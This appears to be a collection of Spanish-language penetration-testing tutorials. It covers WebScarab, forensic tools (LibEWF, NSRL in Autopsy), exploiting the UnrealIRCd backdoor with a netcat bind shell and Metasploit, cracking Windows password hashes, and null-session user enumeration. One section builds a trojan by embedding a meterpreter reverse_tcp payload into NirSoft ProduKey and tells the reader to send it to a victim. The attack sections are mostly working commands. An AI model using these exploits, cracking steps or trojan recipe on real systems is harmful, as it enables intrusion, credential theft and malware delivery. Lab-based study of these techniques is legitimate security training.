Proyecto OWASP WebScarab

Body

El sitio web del proyecto OWASP WebScarab sugiere ahora utilizar una nueva edición de este tipo de tecnologías, como el Proyecto OWASP Zed Attack Proxy (ZAP). Razón por la cual presento a continuación información relevante sobre OWASP WebScarab, la cual es una herramienta reconocida y utilizada en el ámbito de las Pruebas de Penetración contra Aplicaciones Web.

Webscarab es un framework para analizar aplicaciones web utilizando los protocolos HTTP y HTTPS para realizar su comunicación. Está escrito en java y se puede portar a diversas plataformas. WebScarab tiene diversos modos de operación, implementados por varios plugins. En su uso más común, WebScarab opera como un proxy de interceptación, permitiendo al operador revisar y modificar las peticiones creadas por el navegador antes de ser enviadas al servidor, para luego revisar y modificar las respuestas devueltas desde el servidor antes de ser recibidas por el navegador. WesbScarab también es capaz de interceptar comunicaciones HTTP y HTTPS. El operador también puede revisar estas conversaciones (peticiones y repuestas) que atraviesan WebScarab.

Información General

No existe un botón rojo brillante en WebScarab, es una herramienta principalmente diseñada para ser utilizada por personas que pueden escribir código por si mismos, o al menos tener una buena comprensión del protocolo HTTP.

WebScarab está diseñado para ser una herramienta utilizada por cualquier persona necesitada de exponer el funcionamiento de una aplicación basada en HTTP(S), como permitir a los desarrolladores depurar problemas difíciles, o permitir a los especialistas en seguridad identificar vulnerabilidades en la manera de diseñar o implementar una aplicación web.

Características

Un framework sin ninguna funcionalidad es inútil, por tal motivo WebScarab proporciona un número de plugins, principalmente dirigidos a la funcionalidad de seguridad por el momento. Estos plugins incluyen:

  • Fragments (Fragmentos). Extrae Scripts y Comentarios HTML desde páginas HTML cuando son observadas mediante el proxy, u otros plugins.
  • Proxy. Observa el tráfico entre el navegador y el servidor web. El proxy de WebScarab es capaz de observar tráfico HTTP y tráfico cifrado HTTPS, negociando una conexión SSL entre WebScarab y el navegador en lugar de simplemente conectar el navegador hacia el servidor y permitir un flujo cifrado atravesándolo. Diversos plugins del proxy también han sido desarrollados para permitir al operador controlar las peticiones y respuestas pasando a través del proxy.
  • Manual Intercept (Interceptación Manual). Permite a los usuarios modificar peticiones y respuestas HTTP y HTTPS al vuelo, antes de llegar al servidor o navegador.
  • BeanShell. Permite la ejecución de operaciones arbitrariamente complejas sobre las peticiones y respuestas. Todo lo posible de ser expresado con Java puede ser ejecutado.
  • Reveal Hidden Fields (Revelar Campos Ocultos). Algunas veces es más sencillo modificar un campo oculto en una página web por si mismo, en lugar de interceptar la petición después de ser enviada. Este plugin simplemente cambia todos los campos ocultos encontrados en páginas HTML por campos de texto, haciéndolos visibles, y editables.
  • Bandwidth Simulator (Simulador de Ancho de Banda). Permite a los usuarios emular un red lenta, para observar como el sitio web podría desempeñarse cuando es accedido sobre, por decir, un modem.
  • Spider. Identifica nuevas URLs sobre el sitio objetivo, y los recoge con un comando.
  • Manual Request (Petición Manual) Permite editar y reenviar peticiones previas, o la creación completa de nuevas peticiones.
  • SessionID Analysis (Análisis de Ids de Sesión). Recolecta y analiza un número de Cookies para determinar visualmente el grado de aleatoriedad e impredicibilidad. Anotar que este análisis es trivial, y no realiza ninguna comprobación seria, como FIPS, etc.
  • Scripted. Los operadores pueden utilizar BeanShell (o cualquier otro lenguaje BSF soportado encontrado en el “classpath”) para escribir un script, y crear peticiones para recogerlos desde el servidor. El script puede luego realizar algún análisis sobre las respuestas, con todo el poder del modelo de objetos de peticiones y respuestas de WebScarab utilizado para simplificar las cosas.
  • Parameter Fuzzer. (Fuzzer de Parámetros). Realiza substitución automática de valores para los parámetros, los cuales probablemente expongan validación incompleta de parámetros, conduciendo a vulnerabilidades como Cross Site Scription (XSS) o Inyecciones SQL.
  • Search (Búsqueda). Permite al usuario crear expresiones BeanShell arbitrarias para identificar conversaciones que deben ser mostradas en la lista.
  • Compare (Comparar). Calcula la distancia de edición entre los cuerpos de respuesta de las conversaciones observadas, y la conversación base seleccionada. La distancia de edición es “el número de ediciones requerida para transformar un documento en otro”. Por razones de desempeño, las ediciones son calculadas utilizando tokens de palabras, en lugar de byte por byte.
  • SOAP. Es un plugin que interpreta WSDL; y presenta las diversas funciones y parámetros requeridos, permitiendo ser editados antes de ser enviados al servidor. Anotar que este plugin ha sido desaprobado, y será removido en el futuro. SOAPUI va más allá de lo que WebScarab puede hacer o hará, y es una herramienta gratuita.
  • Extensions (Extensiones). Automatiza las verificaciones de archivos dejados por error en el directorio raíz del servidor web (ejemplo, bak, ~, etc.). Las verificaciones son realizadas para archivos y directorios (ejemplo, /app/login.jsp será verificado por /app/login.jsp.bak, /app/login.jsp~, /app/zip, /app.tar.gz, etc.). Las extensiones para archivos y directorios pueden ser editados por el usuario.
  • XSS/CRLF. Es un plugin de análisis pasivo el cual busca datos controlados por el usuario en las cabeceras de respuesta HTTP y el cuerpo para identificar posibles inyecciones CRLF (HTTP response splitting) y vulnerabilidades de Cross Site Scripting (XSS) Reflejados.

Entrenamiento

Aung Khant (YGN Ethical Hacker Group, Myanmar) ha creado un serie de videos sobre WebScarab, los cuales pueden ser encontrados en el siguiente enlace:

http://yehg.net/lab/pr0js/training/webscarab.php

Existen diapositias de la presentación titulada "Uncovering Webscarab's Hidden Treasures", dada en el OWASP EU Summit del año 2008. Las cuales están disponibles en el siguiente enlace.

https://www.owasp.org/images/8/88/OWASP_EU_Summit_2008_WebScarab_treasu…

También los invito de visualizar el video del Webinar Gratuito sobre WebScaraba dictado en el mes de Enero del año 2014.

http://www.reydes.com/d/?q=videos#wgow

Ampliable

Como un framework, Webscarab es ampliable. Cada característica anterior es implementada por un plugin, y puede ser removido y reemplazado. Pueden también ser implementadas nuevas características fácilmente.

Sugiero la utilización de Zed Attack Proxy (ZAP), el cual es un proyecto muy activo y en constante desarrollo, el cual incluye algunas funcionalidades y características de las cuales carece WebScarab.

Fuentes:

https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
https://www.owasp.org/index.php/WebScarab_Getting_Started
https://www.owasp.org/index.php/CRLF_Injection
https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
http://yehg.net/lab/pr0js/training/webscarab.php
https://www.owasp.org/images/8/88/OWASP_EU_Summit_2008_WebScarab_treasu…

Explotar Puerta Trasera de UnrealIRCd en Metasploitable 2

Body

UnrealIRCd es un servidor IRC Open Source, sirviendo miles de redes desde 1999. Se ejecuta en Linux, OS X y Windows. En el mes de noviembre del año 2009 el archivo de nombre “Unreal3.2.8.1.tar.gz” fue reemplazado por una versión conteniendo una puerta trasera (troyano). Esta puerta trasera permitía a cualquier persona ejecutar diversos comandos con los privilegios del usuario ejecutando ircd. La puerta trasera era ejecutada sin importar las restricciones del usuario.

Para la siguiente práctica se utilizará Metasploitable 2 y Kali Linux.

Se procede a realizar un escaneo de puertos TCP contra objetivo de evaluación utilizando la herramienta Nmap. Finalizado el escaneo, se centra la atención en el servicio IRC del puerto TCP 6667.


# nmap -n -Pn -p- 192.168.0.X

Para obtener más información sobre este servicio, se procede a realizar un escaneo de versiones únicamente contra el puerto TCP 6667, utilizando la herramienta Nmap.


# nmap -n -Pn -sV -p 6667 192.168.0.X

El resultado expone un "Unreal ircd". Con esta información se utiliza el Script NSE de nombre “irc-unrealircd-backdoor.nse” incluida en Nmap, el cual permite verificar si este servidor IRC contiene la puerta trasera.


# nmap -n -Pn -p 6667 --script=irc-unrealircd-backdoor.nse 192.168.0.X

El argumento de nombre "irc-unrealircd-backdoor.command" del script, puede ser utilizado para ejecutar comandos arbitrarios en el sistema remoto. Debido a la naturaleza de esta vulnerabilidad (El resultado nunca es devuelto) no se tiene manera de obtener la salida del comando.


# nmap -n -Pn -p 6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -l -p 7777 -e /bin/sh' 192.168.0.X

Desde otra terminal se utiliza la herramienta netcat para establecer una conexión hacia el puerto TCP 7777.


# nc -n -vv 192.168.0.X 7777

La conexión se ha establecido correctamente. Y ya se tiene acceso en el objetivo de evaluación con los privilegios del usuario root.

Metasploit Framework incluye un módulo de nombre “UnrealIRCD 3.2.8.1 Backdoor Command Execution”, el cual permite explotar la puerta trasera maliciosa añadida a este servidor IRC.

Se inicia la consola de Metasploit Framework y se busca el módulo del exploit correspondiente.


msf > search unrealirc

Se le indica a Metasploit Framework la uilización de este exploit, para luego proceder a definir las opciones requeridas. En este escenario solo se requiere definir la dirección IP del objetivo del evaluación.


msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf > show options
msf > set RHOST 192.168.0.16

Se ejecuta el exploit satisfactoriamente. Luego de lo cual se obtiene una shell con los privilegios del usuario root, lo cual permite interactuar y tener control total del objetivo de evaluación.


msf > exploit

Fuentes:

http://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_back…
http://nmap.org/nsedoc/scripts/irc-unrealircd-backdoor.html
https://www.unrealircd.org/txt/unrealsecadvisory.20100612.txt
http://seclists.org/fulldisclosure/2010/Jun/277
https://www.unrealircd.org/

Utilizando LibEWF para Manipular Imágenes Forenses de EnCase

Body

Libewf es una librería para acceder al formato EWF (Expert Witness Compression). Los formatos soportados para lectura y escritura son: SMART .s01 (EWS-S01) y EnCASE .E01 (EWF-E01) y .Ex01 (EWF2-Ex01). También soporta los formatos EWF en solo lectura para LEF (Logical Evidence File) .L01 (EWF-L01) y Lx01 (EWF2-Lx01).

Los archivos de evidencia de EnCase (.E01) son una representación byte por byte de un dispositivo físico o volumen lógico. Los archivos de evidencia de EnCase (.Ex01) pueden ser cifrados; sin embargo, los archivos .Ex01 no son compatibles con las versiones anteriores de EnCase.

Los archivos de evidencia de EnCase proporcionan metadatos de nivel forense, el valor hash a nivel del dispositivo, y el contenido del dispositivo capturado.

Los archivos de evidencia lógicos (.L01) son creados desde visualizaciones previas, archivos de evidencia existentes, o capturas desde teléfonos inteligentes (smartphones). Estos son típicamente creados luego de que un análisis localiza algunos archivos de interés, y por razones forenses deben ser mantenidos en un contenedor forense.

Los archivos de evidencia lógicos actuales (.Lx01) proporcionan cifrado y opciones de hashing, pero no son compatibles con versiones anteriores de EnCase.

Para la siguiente práctica se utilizará una imagen forense en formato (.E01) capturada desde un Sistema Windows XP SP3.

Se lista el directorio conteniendo el archivo con la imagen forense.

Se utiliza la herramienta de nombre “ewfinfo” para mostrar los metadatos almacenados en el archivo EWF.


$ ewfinfo nps-2009-domexusers.E01

Entre la información expuesta se detalla la información de la captura, información del archivo EWF, la información del medio capturado, y el hash MD5 del ítem de evidencia. La herramienta de nombre “ewfverify” permite verificar los datos almacenados en el archivo EWF. Y conforme a las buenas prácticas forenses, se verifica la integridad de la evidencia comparando el hash MD5 almacenado en dentro del archivo y el hash MD5 calculado sobre los datos.


$ ewfverify nps-2009-domexusers.E01

No confundir el hash MD5 obtenido con el hash MD5 del archivo por si mismo. Un archivo en formato EWF almacena los datos originales desde el medio capturado, junto con una serie de verificaciones CRC y metadatos. El hash del archivo .E01 no corresponderá con el hash del medio original replicado.

Es factible utilizar la herramienta de nombre “ewfexport” para exportar los datos almacenados en el archivo EWF. De esta manera se puede convertir la imagen forense contenida en el archivo .E01, hacia un archivo conteniendo la imagen forense en bruto, como se obtendría utilizando una herramienta como dd o dcfldd.

Por defecto la herramienta “ewfexport” escribe hacia la salida estándar (la pantalla o monitor). Y se utiliza la opción “-t” para indicarle escribir la salida hacia un archivo.


$ ewfexport nps-2009-domexusers.E01 -t nps-2009-domexusers.dd

Antes de iniciar la exportación, se solicita información como el formato a exportar, el tamaño en bytes para segmentar el archivo de evidencia, y el desplazamiento en el cual iniciar la exportación.

Este procedimiento demanda una considerable cantidad de tiempo, el cual es proporcional al tamaño de la imagen forense y capacidades técnicas del hardware de la estación de análisis forense. Finalizado el proceso se visualizan los resultados obtenidos, donde se detalla la culminación satisfactoria.

Al listar el directorio se puede verificar la existencia de un nuevo archivo creado con extensión .dd.raw. Además de un archivo adicional con la extensión .info, donde se incluye el hash MD5 del ítem de evidencia.

Es factible volver a verificar manualmente el hash MD5, aunque ya no sería necesario dado los resultados anteriormente expuestos.

Luego se puede utilizar una herramienta como Autopsy 2 o Autopsy 3 para crear un caso e iniciar el análisis forense.

El paquete LibEWF contiene otras herramientas como "ewfacquire", la cual escribe datos desde archivos y medios hacia archivos EWF. La herramienta "ewfacquirestream", la cual escribe datos desde la entrada estándar hacia archivos EWF, entre otras herramientas como ewfmount, ewfrecover y ewfdebug.

Fuentes:

http://www.forensicswiki.org/wiki/Category:Forensics_File_Formats
https://code.google.com/p/libewf/
http://digitalcorpora.org/corpora/disk-images
https://www.guidancesoftware.com/resources/Pages/doclib/Document-Librar…

Configurar la Base de Datos de Hashes RDS de NIST NSRL en Autopsy 3

Body

NSRL (National Software Reference Library ) o por su traducción al idioma español Librería Nacional de Referencia de Software, promueve el uso eficiente y efectivo de la tecnología en la investigación de crimines que involucran a las computadoras.

NSRL está diseñada para recolectar software desde diversas fuentes e incorporar perfiles de archivos computados desde este software dentro de un Conjunto de Referencia de Datos (RDS) de Información. El RDS puede ser utilizado por fuerzas legales, gobierno, y organizaciones de la industria para revisar archivos sobre una computadora correspondiendo a perfiles de archivos en el RDS. Esto ayudará a aliviar el esfuerzo involucrado para determinar cuales archivos son importantes como evidencia en las computadoras o sistemas de archivos que han sido capturados como parte de investigaciones criminales.

RDS es una colección de firmas digitales de aplicaciones de software rastreables y conocidos. Existen valores hash de aplicaciones en el conjunto de hashes los cuales pueden ser considerados maliciosos, como herramientas de esteganografía o scripts de hacking. No existen valores hash de datos ilegales como imágenes de abuso de menores.

Autopsy 3 es una plataforma forense e interfaz gráfica para “The Sleuth Kit” y otras herramientas digitales forenses. Ha sido diseñado para ser intuitivo, pues es una plataforma “extremo a extremo” con módulos que vienen incluidos, y otros módulos que están disponibles desde terceros.

Para la siguiente práctica se procede a descargar la versión más reciente del conjunto de hashes RDS, cuya versión 2.45 se publicó en el mes de Junio del año 2014.

Descargado el archivo se procede a verificar su hash SHA-1.

Verificado el Hash, se procede a extraer el contenido desde la imagen ISO , para copiarlo luego a nuestro directorio de trabajo.

Dado que los RDS han incrementado su tamaño para distribuirlos en cuatro CDROMs. Para los usuarios que están familiarizados con el proceso de utilizar cuatro CDROMs para cargar los datos RDS, se encontrará un directorio de nombre “RDS_Split” en la imagen ISO. Este directorio contiene los cuatro archivos zip RDS tradicionalmente distribuidos en cuatro CDROMs.

Para los usuarios interesados en procesar un conjunto RDS unificado, existe un directorio de nombre “RDS_Unified” el cual puede ser encontrado en el DVD. Este directorio contiene los archivos RDS tradicionalmente presentados sobre un ISO de DVD para RDS.

Al ingresar al directorio de nombre “RDS_Unified” se encontrará el archivo de nombre “NSRLFile.zip”, el cual contiene un único y unificado archivo de nombre "NSRLFile.txt". Cuando el archivo es descomprimido, el archivo NSRLFIle.txt contiene un conjunto de hashes de 144,018,038 archivos, 38,747,351 de los cuales son valores hash SHA-1 únicos.

Se procede ahora a configurar esta Base de Datos de Hashes en Autopsy 3. Iniciar Autopsy 3 haciendo clic en el ícono correspondiente ubicado en el escritorio.

Hacer clic en el menú “Tools -> Options” o “Herramientas -> Opciones”.

Se presentará una nueva ventana, en la cual se debe hacer clic en el ícono “Hash Database” o “Base de Datos de Hash”.

Hacer clic en el botón “Import Database” o Importar Base de Datos. Ubicar la ruta del archivo de nombre “NSRLFile.txt” haciendo clic en el botón “Open”. Luego seleccionar el Tipo de Base de Datos a “Known (NSRL or Other)” o Conocido (NSRL u Otro). Hacer clic en el botón de nombre “Ok”.

La base de datos importada será presentada en el campo ubicado al lado izquierdo, mientras que su información será presentada en el lado derecho. Anotar que el “Index Status” o Estado del Indice es “No Index” o No Indexado. Esto a razón de que cuando una base de datos es creada o actualizada esta debe ser indexada, de esta manera se pueden realizar búsquedas veloces utilizando un algoritmo de búsqueda binaria (en lugar de una búsqueda secuencial lenta que una herramienta como “grep” podría realizar).

Hacer clic en el botón de nombre “Index” o Indice. Para iniciar el proceso, el cual puede demandar una considerable cantidad de tiempo.

Finalizado el proceso, se visualiza en área correspondiente a la información, el nuevo estado del Indice a “Indexed” o Indexado. Hacer clic en el botón de nombre “Ok”.

La manera más sencilla de utilizar la Base de Datos de Hash es ejecutando el módulo de ingesta o asimilación correspondiente sobre la fuente de datos. Hacer clic derecho sobre esta, para luego seleccionar la opción “Run Ingest Modules” o Ejecutar Módulos de Ingesta.

En la nueva ventana presentada solo dejar activada y seleccionada el módulo de ingesta “Hash Lookup” o Consulta de Hash, para luego hacer clic en el botón de nombre “Start” para iniciar el proceso.

Finalizado el proceso, será factible obtener información valiosa y útil sobre los archivos desde la pestaña metadatos ubicada en la parte inferior derecha. Se expone el Hash MD5 y los resultados de la consulta del Hash en la Base de Datos, para el caso del archivo "cmd.exe" del ejemplo, se indica que este archivo es “KNOWN” o Conocido.

El procedimiento descrito de hecho consume una cantidad de tiempo, lo cual debe percibirse como una inversión, dado que solo es realizado una única vez. Luego de lo cual esta Base de Datos de Hash puede ser utilizada para todos los casos forenses gestionados con Autopsy 3.

Fuentes:

http://www.nsrl.nist.gov/
http://www.sleuthkit.org/autopsy/
http://www.reydes.com/d/?q=node/2
http://www.sleuthkit.org/autopsy/help/hash_db.html

Romper Hashes LM y NTLM de Contraseñas Windows utilizando Cain

Body

Cain y Abel es una herramienta para la recuperación de contraseñas de Sistemas Operativos Microsoft. Permite recuperar fácilmente diversos tipos de contraseñas mediante “Sniffing” o husmeo de la red, romper contraseñas cifradas utilizando ataques por diccionario, fuerza bruta, y criptoanálisis, grabar conversaciones VoIP, decodificar contraseñas revueltas, recuperar claves de redes inalámbricas, revelar cajas de contraseñas, descubrir contraseñas en caché y analizar protocolos de encaminamiento.

Para la siguiente práctica se utilizará la más reciente versión de Caín, y un archivo conteniendo los hashes de las contraseñas extraídas desde un sistema Windows.

Ejecutar Caín con los privilegios del usuario administrador, haciendo clic derecho en el ícono residente en el Escritorio y seleccionando la opción “Ejecutar como administrador”.

Hacer clic en la pestaña de nombre “Cracker” o “Quebrador”

Proceder a hacer clic en el ícono con la cruz azul de nombre “Add to list” o Añadir a lista.

Activar “Import Hashes from a text file” para Importar los Hashes desde un archivo de texto. El archivo se busca y selecciona haciendo clic en el botón con los tres puntos seguidos “...”.

Al hacer clic en el botón de nombre “Next” o Siguiente, se presentará en el panel izquierdo el tipo de Hashes detectados por Caín; para el presente caso Hashes “LM & NTLNM. Y en el panel derecho se presentará la información sobre los nombres de usuario, una columna indicando si la contraseña es menor a 8 caracteres, el Hash LM, el Hash NT y el Tipo de Hash.

Entre los diversos métodos que proporciona Caín para “Romper” contraseñas; por fuerza bruta, por diccionario, criptoanálisis o tablas arco iris; se utilizará el ataque por diccionario.

Un ataque por diccionario consiste en intentar cada palabra incluida en un diccionario como posible contraseñas cifrada. Un diccionario de potenciales contraseñas es más conocido como "wordlist" o una lista de palabras. Este tipo de ataque generalmente es más eficiente que una ataque por fuerza bruta, debido a la mala o pobre selección de las contraseñas por parte de los usuarios.

Existen dos métodos para mejorar el éxito de un ataque por diccionario, el primer método es utilizar un gran diccionario, o más diccionarios (diccionarios técnicos o diccionarios de lenguajes foráneos podrían incrementar las oportunidades globales de descubrir la contraseña correcta); el segundo método es realizar una manipulación de cadenas sobre el diccionario.

Por ejemplo, el diccionario puede tener la palabra “password”. Las técnicas de manipulación comunes podrían intentar invertir la palabra (drowssap), añadir número al final de la cadena (password00 – password99), o diferentes letras mayúsculas en diversas ubicaciones (Password, pAssword, ... passworD).

El “Cracker” de contraseñas por diccionario puede ser configurado para utilizar una lista de archivos de diccionarios, y también proporciona la posibilidad de aplicar un número de variantes para cada palabra.

Hacer clic derecho sobre cualquier ubicación del panel derecho y seleccionar la opción “Dictionary Attack -> LM Hashes”.

En la nueva ventana presentada, hacer clic derecho en el panel “Dictionary” o Diccionario; para luego seleccionar la opción “Add to list” o Añadir a lista; y seleccionar el diccionario a utilizar.

Dejar las opción por defecto activadas en el panel “Options” u Opciones, para luego hacer clic en el botón de nombre “Start” e Iniciar el proceso.

Los resultados se presentarán casi de inmediata; dependiendo del tamaño de la lista de palabras utilizadas; en la parte inferior de la ventana. Luego hacer clic en el botón de nombre “Exit” o Salir.

Al regresar a la ventana principal de Caín, ahora es factible visualizar las contraseñas averiguadas y las restantes. Lo campos con el texto "* empty *" indican que la contraseña es vacía.

No es un requisito el averiguar las contraseñas de todos los usuarios. Para un atacante puede ser suficiente obtener un usuario y contraseña válido para acceder al sistema objetivo y posteriormente poder tomar control total del mismo.

Fuentes:

http://www.oxid.it/cain.html
http://www.oxid.it/ca_um
http://openwall.info/wiki/john/NTLM
http://support.microsoft.com/kb/102716

Romper Contraseñas de Windows 7 utilizando bkhive y samdump2

Body

La Base de Datos SAM (Security Accounts Management) de Microsoft Windows almacena las copias hash de las contraseñas de los usuarios. Esta base de datos esta cifrada con una llave del sistema almacenada localmente. Para mantener la base de datos SAM segura, Windows requiere que los hashs de las contraseñas sean cifradas. Windows previene el uso de hashs de contraseñas almacenadas no cifradas.

Se puede utilizar la utilidad SysKey para asegurar adicionalmente la base de datos SAM moviendo la llave de cifrado de la base de datos SAM fuera del computador basado en Windows. La utilidad SysKey también puede ser utilizada para configurar una contraseña de puesta en funcionamiento, la cual debe ser ingresada para descifrar la llave del sistema, de tal manera que Windows pueda acceder a la base de datos SAM.

Para la siguiente práctica se utilizarán un Sistema Windows 7 y Kali Linux.

El primera instancia se debe obtener, capturar o tener acceso a los archivos de nombres “SYSTEM” y "SAM" del Sistema Operativo Windows 7. Esta acción puede ser realizada utilizando diversos procedimientos. Se asume la tenencia de estos dos archivos.

Se procede a extraer el Syskey desde el archivo SYSTEM. Para esta acción se utilizar la herramienta bkhive, la cual permite volcar la clave de inicio syskey desde un sistema Windows NT/2k/XP/Vista.


# bkhive SYSTEM syskey.txt

El siguiente procedimiento implica realizar el volcado de los hashs asociados para cada nombre de usuario del sistema. Para este propósito se utiliza la herramienta de nombre SamDump2, la cual permite volcar los hashs de las contraseñas desde sistemas Windows 2k/NT/XP/Vista.


# samdump2 SAM syskey.txt

El resultado obtenido por la herramienta samdump2 puede ser redireccionado hacia un archivo de nombre “hashsw7”. De esta manera se utiliza la herramienta John The Ripper, para tratar de averiguar o "romper" las contraseñas. La opción “--wordlist” define el modo wordlist, donde se utiliza una lista de palabras como posibles contraseñas. La opción “--rules” permite aplicar ciertas reglas sobre la lista de contraseñas. Y la opción “--format” fuerza el tipo de hash al especificado.


# john --wordlist=/usr/share/wordlists/rockyou.txt --rules --format=nt hashsw7

El procedimiento de tratar de “romper” las contraseñas depende de factores como el algoritmo de cifrado utilizado, la fortaleza en la creación de las contraseñas, entre otros. No siempre es factible obtener rápidamente contraseñas.

Fuentes:

http://support.microsoft.com/kb/310105
http://sourceforge.net/projects/ophcrack/files/samdump2/
http://www.openwall.com/john/

Crear un Troyano utilizando Metasploit Framework

Body

Un caballo de Troya o comúnmente conocido como Troyano, es uno de los diversos tipos de malware que afectan a las computadoras. Estos son particularmente interesantes a razón de utilizar una forma de Ingeniería Social, pues a primera vista parecen ser inofensivos o hasta beneficiosos para el sistema, con la intención de incrementar las posibilidades de ser ejecutados o instalados. Los Troyanos pueden algunas veces comportarse como Backdoors o Puertas Traseras, contactando un controlador el cual tiene acceso no autorizado al sistema afectado.

Para la presente práctica se creará un Troyado utilizando Metasploit Framework, el cual permitirá incrustar un “Payload” o Carga útil dentro de la utilidad ProduKey de NirSoft, el cual muestra el ProductID de Windows, Microsoft Office, Exchange Serrver, y SQL Server instalado en la computadora donde se ejecuta.

Se procede a descargar y descomprimir el archivo ProducKey desde el sitio web de NirSoft

Se utiliza la herramienta msfpayload incluida en Metasploit Framework para inyectar un Payload o Carga útil dentro del ejecutable ProduKey.exe.

En el comando msfpayload la opción LHOST define la dirección IP local, mientras que LPORT define el puerto local. Es decir la dirección IP y Puerto hacia el cual la victima realizará la conexión. Para el comando msfencode, la opción “-e” define el codificador a utilizar, la opción “-c” define el número de veces en que se codificarán los datos, la opción “-t” define el formato de salida, la opción “-x” especifica una plantilla ejecutable alterna, y la opción “-o” define el archivo de salida.


# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 1 -t exe -x ./ProduKey.exe -o /tmp/ProduKey.exe

El proceso se ha realizado correctamente y se ha generado un nuevo archivo con el mismo nombre, pero que incluye el "Payload" incrustado. Al realizar un listado de archivos, anotar el tamaño de cada uno de los archivos, tanto el archivo original como troyanizado "parecen" ser iguales.

Para identificar de manera sencilla la diferencia entre estos dos archivos se genera el hash SHA-1 de cada uno de ellos.


# sha1sum /tmp/ProduKey.exe ProduKey.exe

El archivo troyanizado debe ser enviado a la victima utilizando cualquier mecanismo conocido.

Dado que se ha definido un Payload Reverso de Meterpreter, se requiere configurar un manejador para la conexión originada desde la victima hacia la dirección IP asignada al sistema Kali Linux.


msf> use exploit/multi/handler
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST 192.168.0.12
msf> set LPORT 443
msf> run

Al ejecutarse el archivo de nombre "ProduKey.exe", en Kali Linux se presentará la información de la conexión establecida desde el sistema de la victima.

Dependiendo del privilegios del usuario que ejecuta el archivo, es factible obtener privilegios de Administrador, caso contrario se puede intentar acciones de post-explotación, como un escalamiento de privilegios.

Fuentes:

http://www.antivirus.com/security-software/definition/trojan-horse/
http://en.wikipedia.org/wiki/Trojan_horse_%28computing%29
http://www.offensive-security.com/metasploit-unleashed/Backdooring_EXE_…
http://www.nirsoft.net/utils/product_cd_key_viewer.html

Enumerar Usuarios Windows Remotamente utilizando user2sid y sid2user

Body

oUser2sid y sid2user son dos utilidades para Windows, las cuales permiten consultar la SAM (Security Account Manager) para encontrar valores SID (Security IDentifier). El objetivo de user2sid es obtener el SID en base a un nombre de cuenta, ya sea de manera local o remota. Y el objetivo de sid2user es obtener el nombre de cuenta en base al SID ya sea local o remota.

El SID (Security IDentifier) es un valor único de una longitud variable utilizado para identificar un objeto. Cada cuenta tiene un único SID entregado por una autoridad, como un controlador de dominio Windows, y es almacenado en una base de datos de seguridad.

Se procede a establecer una sesión nula contra el objetivo de evaluación. Una sesión nula permite extraer información sobre un sistema de manera anónima.


C:\> net use \\192.168.0.X\IPC$ “” /user:””

Se utiliza el comando nbtstat con la opción “-a”, para obtener una lista de la tabla de nombres del equipo remoto. Se lista el tipo de nombre para indicar si cada nombre es único o un nombre de grupo. También se proporciona el estado de cada nombre, indicando si el nombre esta registrado o sin registrar en la red.


C:\> nbtstat 192.168.0.X

Obtenida esta información, se utilizará el nombre del objetivo de evaluación en lugar de su dirección IP.

Se ejecuta la herramienta user2sid con un nombre usuario común en windows, el cual es “invitado” o “guest”.


C:\> user2sid \\PCWINDOW invitado

Obtenido el SID del usuario "invitado" en el objetivo de evaluación, se procede a ejecutar el comando sid2user para realizar la enumeración de otras cuentas de usuarios modificando el valor RID (Relative IDentifier), es decir se modifica el número 500 obtenido por el número 501.


C:\> sid2user.exe \\PCWINDOW 5 21 1169816469 XXXXXXXXX 1985994515 501

Se ha obtenido la cuenta del usuario Administrador del sistema remoto. Este procedimiento se continúa realizando mediante el incremento del RID (Relative IDentifier).

Pero dado que realizar este proceso de manera manual sería tedioso, se aplica algo de Kung Fu en línea de comandos para Windows.


C:>\ for /L %i in (500,1,1000) do @sid2user.exe \\PCWINDOW 5 21 1169816469 XXXXXXXXX 1985994515 %i | find /i "Name is"

El listado obtenido puede ser escrito opcionalmente a un archivo utilizando una redirección de los datos de salida.

Uno de los objetivos durante una Prueba de Penetración es obtener una gran cantidad de información sobre el objetivo de evaluación, sobre todo cuentas de usuarios. En algunos escenarios esto es factible utilizado una sesión nula. Estos nombres de usuarios obtenidos serán utilizados luego para tratar de realizar ataques por fuerza bruta o similares, y encontrar credenciales válidas de acceso hacia el sistema.

Fuentes:

http://msdn.microsoft.com/en-us/library/windows/desktop/aa379571%28v=vs…
http://www.windowsecurity.com/whitepapers/windows_security/Windows-Enum…
http://www.windowsnetworking.com/kbase/WindowsTips/Windows2003/AdminTip…
http://technet.microsoft.com/en-us/library/cc757216%28v=ws.10%29.aspx

Volcar Información de Usuarios utilizando DumpSec

Body

DumpSec es un programa de auditoría de seguridad para Microsoft Windows. Permite volcar los permisos DACLs (Discretionary Access Control List) y configuraciones de auditoría SACLs (System Access Control List) para el sistema de archivos, registro, impresoras, y compartidos en un formato consistente y factible de ser leído, de tal manera que los agujeros en la seguridad del sistema se hacen evidentes. DumpSec también permite volcar la información de usuarios, grupos y replicación.

Se procede a establecer una sesión con el objetivo de evaluación. Si se tiene un usuario y contraseña válidas en el sistema Windows se utilizarán estas credenciales. También es factible establecer un sesión nula, la cual es una conexión anónima hacia una red compartida accesible libremente llamada IPC$ sobre servidores Windows. Esto permite acceso de lectura o escritura inmediata dependiendo de la versión del Sistema Windows.


C:\> net use \\192.168.0.10\IPC$ Contraseña /user:Usuario
C:\> net use \\192.168.0.10\IPC$ “” /user:””

Se ejecuta DumpSec.

Hacer clic en “Report -> Select Computer...” o “Reporte -> Seleccionar Computadora...”

En la nueva ventana presentada, escribir la dirección IP o nombre del host del objetivo de evaluación.

El objetivo ha sido seleccionado. La opción “Report” del menú principal contiene opciones para realizar diversos tipos de volcados.

Al hacer clic en la opción “Report ->Dump Users as table...” o “Reporte -> Volcar Usuarios como tabla..” se presenta una nueva ventana, la cual permite seleccionar o eliminar los campos disponibles. Opcionalmente se puede activar la capacidad de mostrar las cuentas de usuario normal, mostrar las cuentas de la computadora, o mostrar el tiempo “verdadero” del último logon.

Luego de hacer clic en el botón de nombre “OK” se realizará un volcado de los usuarios desde el sistema Windows objeto de la evaluación.

